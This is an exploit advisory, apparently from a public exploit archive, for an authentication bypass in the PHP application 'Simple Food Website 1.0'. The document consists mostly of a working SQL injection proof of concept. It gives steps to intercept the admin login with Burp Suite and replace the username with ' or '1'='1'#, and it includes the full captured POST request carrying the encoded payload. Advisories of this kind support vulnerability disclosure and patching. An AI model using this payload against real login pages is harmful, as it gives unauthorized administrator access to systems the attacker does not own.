Simple Food Website 1.0 - Authentication Bypass

# Exploit Title: Simple Food Website 1.0 - Authentication Bypass
# Date: 2021-04-03
# Exploit Author: Viren Saroha (illusion)
# Vendor Homepage: https://www.sourcecodester.com/php/12510/simple-food-website-php.html
# Software Link: https://www.sourcecodester.com/download-code?nid=12510&title=Simple+Food+Website+%28CMS%29+in+PHP+with+Source+Code
# Version: 1.0
# Tested on: Windows 10/Kali Linux

POC

Step 1 -  Go to url http://localhost/food/admin/login.php
Step 2 – Enter anything in username and password
Step 3 – Click on Login and capture the request in burpsuite
Step 4 – Change the username to ' or '1'='1'#
Step 5 – Click forward and now you will be logged in as admin.


REQUEST


POST /food/admin/process_login.php HTTP/1.1
Host: 192.168.132.128
Content-Length: 76
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.132.128
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.132.128/food/admin/login.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=44189551c332ee92a95246aac0756dd3
Connection: close

username=%27+or+%271%27%3D%271%27%23&password=randomPassword&Sign+In=Sign+In